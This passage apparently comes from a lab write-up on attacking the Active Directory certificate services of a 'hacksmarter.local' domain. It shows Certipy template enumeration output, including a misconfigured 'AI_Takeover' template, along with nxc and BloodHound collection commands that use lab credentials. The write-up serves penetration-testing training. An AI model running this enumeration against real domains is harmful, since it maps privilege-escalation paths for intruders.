"hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 2147483648 ], "Enrollment Flag": [ 1, 8, 32 ], "Private Key Flag": [ 16 ], "Extended Key Usage": [ "Encrypting File System" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Users", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Users", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } }, "[+] User Enrollable Principals": [ "HACKSMARTER.LOCAL\\\\Domain Users" ] }, "22": { "Template Name": "SmartcardLogon", "Display Name": "Smartcard Logon", "Enabled": false, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 2147483648 ], "Extended Key Usage": [ "Client Authentication", "Smart Card Logon" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "23": { "Template Name": "ClientAuth", "Display Name": "Authenticated Session", "Enabled": false, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 2147483648 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Client Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Users", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Users", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "24": { "Template Name": "SmartcardUser", "Display Name": "Smartcard User", "Enabled": false, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 67108864, 536870912, 2147483648 ], "Enrollment Flag": [ 1, 8 ], "Extended Key Usage": [ "Secure Email", "Client Authentication", "Smart Card Logon" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "25": { "Template Name": "UserSignature", "Display Name": "User Signature Only", "Enabled": false, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 67108864, 536870912, 2147483648 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Secure Email", "Client Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Users", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Users", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "26": { "Template Name": "User", "Display Name": "User", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 33554432, 67108864, 536870912, 2147483648 ], "Enrollment Flag": [ 1, 8, 32 ], "Private Key Flag": [ 16 ], "Extended Key Usage": [ "Encrypting File System", "Secure Email", "Client Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 1, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Users", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Users", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } }, "[+] User Enrollable Principals": [ "HACKSMARTER.LOCAL\\\\Domain Users" ], "[*] Remarks": { "ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.", "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1." } }, "27": { "Template Name": "AI_Takeover", "Display Name": "AI_Takeover", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Enrollment Flag": [ 1, 8 ], "Private Key Flag": [ 16 ], "Extended Key Usage": [ "Client Authentication", "Secure Email", "Encrypting File System" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 2, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 16:16:36+00:00", "Template Last Modified": "2025-09-21 16:16:36+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Soulkiller.svc", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Administrator", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "28": { "Template Name": "KerberosAuthentication", "Display Name": "Kerberos Authentication", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 4194304, 134217728 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Client Authentication", "Server Authentication", "Smart Card Logon", "KDC Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 2, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Enterprise Read-only Domain Controllers", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ], "Write Property AutoEnroll": [ "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ] } } }, "29": { "Template Name": "OCSPResponseSigning", "Display Name": "OCSP Response Signing", "Enabled": false, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 134217728, 268435456 ], "Enrollment Flag": [ 4096, 16384 ], "Extended Key Usage": [ "OCSP Signing" ], "Requires Manager Approval": false, "Requires Key Archival": false, "RA Application Policies": [ "msPKI-Asymmetric-Algorithm`PZPWSTR`RSA`msPKI-Hash-Algorithm`PZPWSTR`SHA1`msPKI-Key-Security-Descriptor`PZPWSTR`D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;GR;;;S-1-5-80-3804348527-3718992918-2141599610-3686422417-2726379419)`msPKI-Key-Usage`DWORD`2`" ], "Authorized Signatures Required": 0, "Schema Version": 3, "Validity Period": "2 weeks", "Renewal Period": "2 days", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "30": { "Template Name": "RASAndIASServer", "Display Name": "RAS and IAS Server", "Enabled": false, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 134217728, 1073741824 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Client Authentication", "Server Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 2, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\RAS and IAS Servers" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\RAS and IAS Servers" ] } } }, "31": { "Template Name": "Workstation", "Display Name": "Workstation Authentication", "Enabled": false, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 134217728 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Client Authentication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 2, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Computers", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Computers", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } } }, "32": { "Template Name": "DirectoryEmailReplication", "Display Name": "Directory Email Replication", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": false, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 16777216, 134217728 ], "Enrollment Flag": [ 1, 8, 32 ], "Extended Key Usage": [ "Directory Service Email Replication" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 2, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Enterprise Read-only Domain Controllers", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ], "Write Property AutoEnroll": [ "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ] } } }, "33": { "Template Name": "DomainControllerAuthentication", "Display Name": "Domain Controller Authentication", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": false, "Certificate Name Flag": [ 134217728 ], "Enrollment Flag": [ 32 ], "Extended Key Usage": [ "Client Authentication", "Server Authentication", "Smart Card Logon" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 2, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 15:42:14+00:00", "Template Last Modified": "2025-09-21 15:42:14+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Enterprise Read-only Domain Controllers", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Enterprise Admins", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Admins", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ], "Write Property AutoEnroll": [ "HACKSMARTER.LOCAL\\\\Domain Controllers", "HACKSMARTER.LOCAL\\\\Enterprise Domain Controllers" ] } } } } } [*] Wrote JSON output to 'stdout' ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ cat certipy_output.txt | grep ESC ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. ESC2 Target Template : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1. "ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.", "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1." "ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.", "ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1." ``` {% endcode %} * CA Server is `hacksmarter-DC01-CA` #### nxc output 
┌──(kali㉿kali)-[~/hacksmarter/arasaka]
  └─$ sudo nxc ldap 10.1.217.131 -u 'alt.svc' -p 'babygirl1' -M adcs
  LDAP        10.1.217.131    389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local)
  LDAP        10.1.217.131    389    DC01             [+] hacksmarter.local\\alt.svc:babygirl1 
  ADCS        10.1.217.131    389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
  ADCS        10.1.217.131    389    DC01             Found PKI Enrollment Server: DC01.hacksmarter.local
  ADCS        10.1.217.131    389    DC01             Found CN: hacksmarter-DC01-CA
#### Vulnerable Certificate check with certipy and `faraday` user (No vulnerable templates found) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo certipy-ad find -u faraday@hacksmarter.local -p 'hacksmarter123' -vulnerable Certipy v5.0.4 - by Oliver Lyak (ly4k) [!] DNS resolution failed: The DNS query name does not exist: HACKSMARTER.LOCAL. [!] Use -debug to print a stacktrace [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 14 issuance policies [*] Found 0 OIDs linked to templates [!] DNS resolution failed: The DNS query name does not exist: DC01.hacksmarter.local. [!] Use -debug to print a stacktrace [*] Retrieving CA configuration for 'hacksmarter-DC01-CA' via RRP [*] Successfully retrieved CA configuration for 'hacksmarter-DC01-CA' [*] Checking web enrollment for CA 'hacksmarter-DC01-CA' @ 'DC01.hacksmarter.local' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Saving text output to '20251228153909_Certipy.txt' [*] Wrote text output to '20251228153909_Certipy.txt' [*] Saving JSON output to '20251228153909_Certipy.json' [*] Wrote JSON output to '20251228153909_Certipy.json' ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ cat 20251228153909_Certipy.json { "Certificate Authorities": { "0": { "CA Name": "hacksmarter-DC01-CA", "DNS Name": "DC01.hacksmarter.local", "Certificate Subject": "CN=hacksmarter-DC01-CA, DC=hacksmarter, DC=local", "Certificate Serial Number": "1DBC9F9ECF287FB04FDE66106578611F", "Certificate Validity Start": "2025-09-21 15:32:14+00:00", "Certificate Validity End": "2030-09-21 15:42:14+00:00", "Web Enrollment": { "http": { "enabled": false }, "https": { "enabled": false, "channel_binding": null } }, "User Specified SAN": "Disabled", "Request Disposition": "Issue", "Enforce Encryption for Requests": "Enabled", "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy", "Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Administrators", "Access Rights": { "1": [ "HACKSMARTER.LOCAL\\\\Administrators", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "2": [ "HACKSMARTER.LOCAL\\\\Administrators", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "512": [ "HACKSMARTER.LOCAL\\\\Authenticated Users" ] } } } }, "Certificate Templates": "[!] Could not find any certificate templates" } ``` {% endcode %} #### Vulnerable Certificate check with certipy and `alt.svc` user (Nope, same outcome) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo certipy-ad find -u alt.svc@hacksmarter.local -p 'babygirl1' -vulnerable Certipy v5.0.4 - by Oliver Lyak (ly4k) [!] DNS resolution failed: The DNS query name does not exist: HACKSMARTER.LOCAL. [!] Use -debug to print a stacktrace [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 14 issuance policies [*] Found 0 OIDs linked to templates [!] DNS resolution failed: The DNS query name does not exist: DC01.hacksmarter.local. [!] Use -debug to print a stacktrace [*] Retrieving CA configuration for 'hacksmarter-DC01-CA' via RRP [*] Successfully retrieved CA configuration for 'hacksmarter-DC01-CA' [*] Checking web enrollment for CA 'hacksmarter-DC01-CA' @ 'DC01.hacksmarter.local' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Saving text output to '20251228154218_Certipy.txt' [*] Wrote text output to '20251228154218_Certipy.txt' [*] Saving JSON output to '20251228154218_Certipy.json' [*] Wrote JSON output to '20251228154218_Certipy.json' ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ cat 20251228154218_Certipy.json { "Certificate Authorities": { "0": { "CA Name": "hacksmarter-DC01-CA", "DNS Name": "DC01.hacksmarter.local", "Certificate Subject": "CN=hacksmarter-DC01-CA, DC=hacksmarter, DC=local", "Certificate Serial Number": "1DBC9F9ECF287FB04FDE66106578611F", "Certificate Validity Start": "2025-09-21 15:32:14+00:00", "Certificate Validity End": "2030-09-21 15:42:14+00:00", "Web Enrollment": { "http": { "enabled": false }, "https": { "enabled": false, "channel_binding": null } }, "User Specified SAN": "Disabled", "Request Disposition": "Issue", "Enforce Encryption for Requests": "Enabled", "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy", "Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Administrators", "Access Rights": { "1": [ "HACKSMARTER.LOCAL\\\\Administrators", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "2": [ "HACKSMARTER.LOCAL\\\\Administrators", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "512": [ "HACKSMARTER.LOCAL\\\\Authenticated Users" ] } } } }, "Certificate Templates": "[!] Could not find any certificate templates" } ``` {% endcode %} *** ### 3.7: Active Directory Permissions Analysis #### Bloodhound Collection #### Faraday {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc ldap 10.1.217.131 -u faraday -p 'hacksmarter123' --bloodhound --collection All --dns-server 10.1.217.131 LDAP 10.1.217.131 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local) LDAP 10.1.217.131 389 DC01 [+] hacksmarter.local\\faraday:hacksmarter123 LDAP 10.1.217.131 389 DC01 Resolved collection methods: localadmin, acl, group, trusts, container, objectprops, dcom, psremote, session, rdp LDAP 10.1.217.131 389 DC01 Done in 00M 07S LDAP 10.1.217.131 389 DC01 Compressing output into /root/.nxc/logs/DC01_10.1.217.131_2025-12-28_161012_bloodhound.zip ``` {% endcode %} #### alt.svc {% code overflow="wrap" expandable="true" %} ```bash 